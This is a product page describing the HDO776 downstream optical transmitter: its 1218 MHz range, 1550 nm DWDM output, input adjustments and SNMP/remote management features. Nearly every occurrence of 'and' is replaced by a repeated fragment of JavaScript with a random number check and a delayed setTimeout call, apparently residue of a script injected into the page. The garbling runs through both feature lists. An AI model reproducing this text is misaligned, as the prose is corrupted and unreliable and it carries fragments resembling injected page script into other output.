Kanał dosyłowy downstream

HDO776 downstream transmitter supports frequencies up to 1218 MHz andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has one 10 dBm output. HDO776 is a directly modulated 1550 nm C-bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and DWDM transmitter for short, medium andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and long distances. It supports broadbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, narrowcast andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and broadcast services in digital andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analog formats.

Features:

• DOCSIS 3.1 compatible
• Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardised input levell
• Two inputs with level adjustments
• Equaliser in both inputs
• High isolation between inputs
• Automatic power control providing constant total OMI as standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard feature
• ITU wavelengths
• Electrical dispersion compensator provides a good CSO performance over longer transmission distances
• Unused input can be switched off for power saving andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and noise reduction
• Integrated input amplifiers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and laser driver amplifiers
• Low power consumption andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and high performance
• Optional spectrum analyser function
• Optional integrated xWDM filter to combine forward andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and return paths into one fibre or to combine various forward wavelengths into one fibre
• Fibre connectors can be located at the rear or at the front panel
• Small form factor family, 2 RU height
• Local andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and remote software control of all adjustments
• Forced cooling through the unit

Management features

• Monitoring of APC (Automatic Power Control) functionality with user configurable offset
• Optical output power monitoring
• Laser bias current monitoring
• TEC (Thermo-Electric Cooler) current monitoring
• Laser temperature monitoring
• Signal level adjustment in both inputs
• Slope adjustment in both inputs
• Input 2 switch on/off
• Channel level measurement when equipped with spectrum analyser option
• Link length setting
• LED indicators for signal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and module statuses
• Internal temperature measurement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and monitoring
• Intelligent fan speed control with monitoring
• Non-volatile logging of 32 latest events, including alarms, alarming values, settings changes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and application starts..
• Uptime andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and total uptime counters
• All adjustments andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and alarm limits fully user configurable
• Local PC connection through backplane HDO bus with HDX021 cable
• Remote IP connection through HDC100 controller module
• SNMP monitoring andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and configuration through HDC100 controller module